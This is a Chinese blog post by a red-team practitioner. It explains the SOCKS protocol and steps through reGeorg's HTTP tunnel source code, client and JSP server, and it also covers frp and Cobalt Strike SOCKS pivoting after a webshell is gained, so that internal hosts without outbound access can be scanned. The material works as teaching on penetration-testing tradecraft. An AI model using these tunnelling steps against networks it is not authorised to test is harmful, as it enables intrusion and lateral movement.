Loading

Socks协议以及代理转发工具分析

前言:最近两场HW都和某师傅学到了挺多东西,算是对内网不出网以及流量代理做个分析(SOCKS协议,reGeorg原理分析,frp的代理,CS上的代理

SOCKS

SOCKS(Socks:Protocol for sessions traversal across firewall securely)防火墙安全会话转换协议

SOCKS是一种网络传输协议,主要用于客户端和外网服务器之间通讯的中间传输。SOCKS是“socket secure”的缩写

当防火墙后的客户端要访问外部的服务器时,就跟SOCKS代理服务器连接。这个代理服务器控制着客户端访问外网的资格,允许的话,就将客户端的请求发往外部的服务器。

image

Socks协议定位非常清楚,工作于会话层,就是在防火墙服务器上,提供一种对于TCP会话的转发,允许用户可以透明的穿透防火墙的阻拦。这种协议优势在于,它完全独立于应用层的协议,可以用于telent,http,ftp。且可以在TCP会话开始之前,完成权限的检查,之后只需要做往复的转发即可;常用的防火墙,或代理软件都支持SOCKS

新的协议 SOCKS v5 在 SOCKSV4基础上作了进一步扩展,从而可以支持 UDP ,并对其框架规定作了扩展,以支持安全认证方案。同时它还采用地址解析方案 (addressing scheme) 以支持域名和 IPV6 地址解析
(example:域环境下有DUDU.org.com,Socks5协议就可以支持对地址解析的代理)

现在普遍使用的 SOCKSv5,协议变复杂了很多。首先,因为有强力的验证,而且支持多种验证方法,就有了一个协商验证方法的过程,然后,进行身份验证,最后再进行通信指令

通信流程:

  • 客户端连接上代理服务器之后需要发送请求告知服务器目前的socks协议版本以及支持的认证方式
  • 代理服务器收到请求后根据其设定的认证方式返回给客户端
  • 如果代理服务器不需要认证,客户端将直接向代理服务器发起真实请求
  • 代理服务器收到该请求之后连接客户端请求的目标服务器
  • 代理服务器开始转发客户端与目标服务器之间的流量
    image

加密过程:
image
image

 虽然HTTP代理有不同的使用模式,CONNECT方法允许转发TCP连接;然而,socks代理还可以转发UDP流量和反向代理,
 而HTTP代理不能。HTTP代理更适合HTTP协议,执行更高层次的过滤;socks不管应用层是什么协议,只要是传输层是
 TCP/UDP协议就可以代理------------此协议的强大之处

reGeorg简单分析

一般主要用于服务器已GetShell,想横向但是因为防火墙ACL给你卡死,只允许HTTP进出,无法端口转发
之前HW好几个目标系统都是其他服务器不出网情况,只能搭建reGeorg等工具进行隧道搭建,访问内网其他服务器

Github上关于reGeorg的简介
The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
image
使用起来也简单,用蚁剑,哥斯拉,冰蝎,天蝎等拿到shell工具传个服务器对应的tnuuel.XXX
然后CMD下:
$ python reGeorgSocksProxy.py -p 8080 -u http://DUDU.com/tunnel/tunnel.jsp

image
然后就可以对内网进行探测,扫描

整体流程图:
image

1.绑定本地的8080端口,起一个SockerServer服务。用来接收本地转发的流量
 servSock = socket(AF_INET, SOCK_STREAM)
 servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
 servSock.bind((args.listen_on, args.listen_port))
 servSock.listen(1000)
 while True:
	 try:
		 sock, addr_info = servSock.accept()
		 sock.settimeout(SOCKTIMEOUT)
		 log.debug("Incomming connection")
		 session(sock, args.url).start()
	 except KeyboardInterrupt, ex:
		 break
	 except Exception, e:
2.用Proxifier将流量代理到本地的8080端口
3.一旦有流量进入后,判断是socks的哪个版本
ver = sock.recv(1)
	   if ver == "\x05":
		   return self.parseSocks5(sock)
	   elif ver == "\x04":
		   return self.parseSocks4(sock)
获取请求的target + ip
log.debug("SocksVersion5 detected")
	  nmethods, methods = (sock.recv(1), sock.recv(1))
	  sock.sendall(VER + METHOD)
	  ver = sock.recv(1)
	  if ver == "\x02":  # this is a hack for proxychains
		  ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
	  else:
		  cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
	  target = None
	  targetPort = None
	  if atyp == "\x01":  # IPv4
		  # Reading 6 bytes for the IP and Port
		  target = sock.recv(4)
		  targetPort = sock.recv(2)
		  target = "." .join([str(ord(i)) for i in target])
	  targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1])
	  if cmd == "\x02":  # BIND
		  raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
	  elif cmd == "\x03":  # UDP
		  raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
	  elif cmd == "\x01":  # CONNECT
		  serverIp = target
		  try:
			  serverIp = gethostbyname(target)
		  except:
			  log.error("oeps")
		  serverIp = "".join([chr(int(i)) for i in serverIp.split(".")])
4.发送http请求到服务端的脚本,标识符是CONNECT。附带的参数是tagetIP+Port
如果请求成功,会生成的sessionID保存下来(很重要用来保存整个服务端和Target的Socket会话状态)
headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port}
	   self.target = target
	   self.port = port
	   cookie = None
	   conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
	   # response = conn.request("POST", self.httpPath, params, headers)
	   response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="")
	   if response.status == 200:
		   status = response.getheader("x-status")
		   if status == "OK":
			   cookie = response.getheader("set-cookie")
			   log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie))
		   else:
			   if response.getheader("X-ERROR") is not None:
				   log.error(response.getheader("X-ERROR"))
5.Tunel服务器与Target建立Socket连接
if (cmd.compareTo("CONNECT") == 0) {
			try {
				String target = request.getHeader("X-TARGET");
				int port = Integer.parseInt(request.getHeader("X-PORT"));
				SocketChannel socketChannel = SocketChannel.open();
				socketChannel.connect(new InetSocketAddress(target, port));
				socketChannel.configureBlocking(false);
				session.setAttribute("socket", socketChannel);
				response.setHeader("X-STATUS", "OK");
			}
6.发送http请求到服务端的脚本,标识符是READ
headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"}
				response = conn.urlopen('POST', self.connectString + "?cmd=read", headers=headers, body="")
				data = None
				if response.status == 200:
					status = response.getheader("x-status")
					if status == "OK":
						if response.getheader("set-cookie") is not None:
							cookie = response.getheader("set-cookie")
						data = response.data
						# Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters
						try:
							if response.getheader("server").find("Apache-Coyote/1.1") > 0:
								data = data[:len(data) - 1]
						except:
							pass
						if data is None:
							data = ""
					else:
						data = None
						log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("X-ERROR")))
				else:
					log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
				if data is None:
					# Remote socket closed
					break
				if len(data) == 0:
					sleep(0.1)
					continue
				transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data)))
				self.pSocket.send(data)
7.Tunel服务器得到Client客户端发送的读取指令后,读取socket数据
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
		  try {            
			  ByteBuffer buf = ByteBuffer.allocate(512);
			  int bytesRead = socketChannel.read(buf);

		  }
8.把读到的数据,以二进制流的形式用response写给client
ServletOutputStream so = response.getOutputStream();
				while (bytesRead > 0){
					so.write(buf.array(),0,bytesRead);
					so.flush();
					buf.clear();
					bytesRead = socketChannel.read(buf);
				}
Client接收到数据,把响应数据send给相应的程序
pSocket.send(data)
9.经进行socketServer接受到数据进行解析,取出具体的data
比如我要访问内网的oa.com/admin.do系统,大概会生成如下data
StringBuffer temp = new StringBuffer();
	   temp.append("GET http://oa.com:8080/admin.do HTTP/1.1\r\n");
	   temp.append("Host: oa.com:8080\r\n");
	   temp.append("Connection: keep-alive\r\n");
	   temp.append("Cache-Control: max-age=0\r\n");
	   temp
			   .append("User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11\r\n");
	   temp
			   .append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n");
	   temp.append("Accept-Encoding: gzip,deflate,sdch\r\n");
	   temp.append("Accept-Language: zh-CN,zh;q=0.8\r\n");
	   temp.append("Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3\r\n");
	   temp.append("\r\n");
	   request = temp.toString().getBytes();
10.然后会把解析好的data放到http的data里,并将标识符设置成FORWARD。发送给Tunel服务器
self.pSocket.settimeout(1)
			   data = self.pSocket.recv(READBUFSIZE)
			   if not data:
				   break
			   print("FORWARD---------")
			   headers = {"X-CMD": "FORWARD", "Cookie": self.cookie, "Content-Type": "application/octet-stream", "Connection": "Keep-Alive"}
			   response = conn.urlopen('POST', self.connectString + "?cmd=forward", headers=headers, body=data)
			   if response.status == 200:
				   status = response.getheader("x-status")
				   if status == "OK":
					   if response.getheader("set-cookie") is not None:
						   self.cookie = response.getheader("set-cookie")
				   else:
					   log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("x-error")))
					   break
			   else:
				   log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
				   break
			   transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data)))
11.Tunel服务器接收到数据后,得到标识符FORWARD后,从request获取到二进制数据流。write给前面建立好的SocketChannel
else if (cmd.compareTo("FORWARD") == 0){
			SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
			try {

				int readlen = request.getContentLength();
				byte[] buff = new byte[readlen];
				request.getInputStream().read(buff, 0, readlen);
				ByteBuffer buf = ByteBuffer.allocate(readlen);
				buf.clear();
				buf.put(buff);
				buf.flip();
				while(buf.hasRemaining()) {
					socketChannel.write(buf);
				}
				response.setHeader("X-STATUS", "OK");
				//response.getOutputStream().close();

			}

流程:
主要是本地起了一个socks代理服务器,而后PC不断的和tunnel sever进行HTTP的交互验证完socks4或者是socks5后,会调用函数解析获取到的目标ip以及端口,而后向自己上传在服务器上的tunnel.jsp发送一个connect请求,请求成功后会保存Socket会话(session ID保存),后续通过循环判断是否有传递的内容,通过socket连接向目标机器发送请求内容,且不断从与目标机器建立的socket连接中获取数据,存在就写入readbuff变量。接着发送forword请求,将真实的数据发送给tunnel,然后tunnel获到post数据转发到socket连接中,发送给目标机器,然后将目标机器返回的数据存放$_SESSION['readbuf']中,等待下一次read请求来获取内容;

frp搭建代理隧道的话,也用到了Socks代理协议去连接frps

image

CS上的socks4隧道

后渗透神奇CobaltStrike上也自带了Socks4代理,只需要简单的设置端口号,然后本地设置个全局代理,一键梭哈
(之前一直和老师傅用的frp搭建隧道,后来发现CS内置的也很稳定,只不过是socks4罢了)
image
image
然后全局代理软件设置端口,设置协议。先去检测一下连通性
image
最需要注意的点就是内网ip段,因为在被控sever上ipconfig的内网ip不一定是全部,有可能10,172,192三个段都会存在存活主机(血的教训)
image
为了更仔细一点扫描,还是拿fscan,Ladon等扫描更多的段,说不定柳暗花明又一村
image

参考文章:
http://screwsec.com/2020/06/05/reGeorg原理分析/#详细细节
https://sexywp.com/socks-protocol.htm

posted @ 2021-06-07 10:58  九~月  阅读(327)  评论(0编辑  收藏  举报